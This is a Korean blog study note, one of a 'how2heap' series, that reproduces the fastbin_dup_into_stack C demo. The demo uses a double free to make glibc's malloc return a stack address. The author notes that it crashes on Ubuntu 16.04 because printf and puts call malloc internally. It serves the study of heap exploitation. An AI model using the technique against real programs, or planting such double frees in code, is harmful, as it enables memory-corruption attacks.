반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	printf("1st malloc(8): %p\n", d);
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("Now the free list has [ %p ].\n", a);
	printf("Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	printf("4rd malloc(8): %p\n", malloc(8));
}



정리.


먼저 fast bin dup을 진행해준 다음 다시 할당을 하게 되면 top에 있는 a 주소를 조작할 수 있게 된다.


그럼 거기에 fake chunk address를 집어넣어준 상태에서 할당을 진행 하게 되면


free list에서스택에서 할당을 진행하게 된다.


하지만 Ubuntu 16.04 버전에서 확인한 결과 memory corruption이 뜬다.


아마도 다른 영역(bss)를 사용하는게 좋을 듯하다.


실험 삼아서 사용자가 원하는 주소로 덮어씌울 수 있게 했더니 Segmetation Fault가 떴다.


내가 Ubuntu 16.04 버전을 사용중인데,


puts나 printf 함수에서 malloc을 사용하는 것을 볼 수 있었다.


내가 맨 마지막에 malloc 두번을 한거에서 할당이 되어야 작동이 될텐데,


puts, printf 함수에서 malloc이 내부적으로 사용되니까 안되던 것이다.


아래는 메모리 구조 사진



'공부' 카테고리의 다른 글

[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
블로그 이미지

KuroNeko_

KuroNeko

,